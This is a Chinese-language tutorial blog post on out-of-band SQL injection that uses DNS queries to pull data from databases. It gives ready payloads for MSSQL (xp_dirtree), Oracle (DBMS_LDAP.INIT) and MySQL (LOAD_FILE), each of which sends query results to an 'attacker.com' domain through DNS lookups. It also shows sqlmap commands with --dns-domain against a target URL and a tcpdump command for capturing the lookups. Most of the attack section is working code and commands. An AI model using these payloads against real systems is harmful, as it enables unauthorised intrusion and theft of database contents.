如何在SQL注入中使用DNS技术获取数据

Posted Le想安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何在SQL注入中使用DNS技术获取数据相关的知识,希望对你有一定的参考价值。

我们知道几乎每个DBMS都提供了一种执行DNS查询,接收相应的方法。假设我们有一个存在漏洞的WEB服务器,他存在SQL注入漏洞(基于时间的盲注),我们如果使用SQLMAP来获取数据会是一个非常漫长的过程,而且如果网络环境不好网络存在延迟的情况下,我们获得数据会非常非常的慢。但是如果我们使用DNS技术来获取数据,我们就不需要检查服务器的http响应。可以很快的将数据捕获。

现在我们介绍一下最关键的部分:

如何在SQL中执行DNS查询,不同的DBMS要执行不同的语句,暂时没有一个通用的方法适配所有的DBMS

1.MsSQL:在MsSQL中我们可以使用master.dbo.xp_dirtree来执行DNS查询,该操作是将文件放在目录下,并且可以通过远程访问,这样我们就可以让我们的域运行并且获得结果。

1)DECLARE @data varchar(1024);

2)SELECT @data = (SELECT foo FROM bar);

3)EXEC('master..xp_dirtree "\'+@data+'.attacker.comfoo$"');

2.oracle中有

UTL_INADDR.GET_HOST_ADDRESS,UTL_HTTP.REQUEST,HTTP_URITYPE.GETCLOB and DBMS_LDAP.INIT 这些函数没一个都用来执行名称解析,示例如下:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)  FROM DUAL;

3.    mysqlLOAD_FILE可用于域名解析。

SELECT LOAD_FILE(CONCAT('\\', (SELECT foo FROM bar), '.attacker.com'));

如何在SQLmap中使用DNS技术获取数据

正常情况下我们使用SQLmap来注基于时间的盲注这种注入执行如下语句:

sqlmap -u 'http://xxxxxxx/test.php?uid=1' -p uid --dbs     --technique T --dbms mssql --level 5 --risk 3

大概获取数据库名30字符左右即便网络很快的情况下,也大概要需要5分钟的时间来获取。

使用DNS技术获取数据:

sqlmap -u 'http://xxxxxxx/test.php?uid=1' -p uid --dbs     --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online

在上面的语句中添加--dns-domain后面接我们的DNS域名

如何在SQL注入中使用DNS技术获取数据

我们只需要10秒左右的时间便可以获取30个字符左右的数据。

使用TCPdump可以查看在注入时都使用了什么样的查询。

tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53'

结果如下:

如何在SQL注入中使用DNS技术获取数据

我们可以看到,sqlmap将查询响应放在两个随机字符串之间,并将我们的域名附加上去执行dns请求。之后,在这些随机字符串的帮助下,它可以了解哪个请求响应生成了结果。

今天就说到这里吧,欢迎大家一起学习讨论。

以上是关于如何在SQL注入中使用DNS技术获取数据的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入技术

如何防止sql注入攻击?

什么叫sql注入,如何防止sql注入

Acesss数据库手工绕过通用代码防注入系统

记录一下学习PDO技术防范SQL注入的方法

sqlmap注入后,获取到的数据库很多,表也很多,怎么知道账号和密码在哪个地方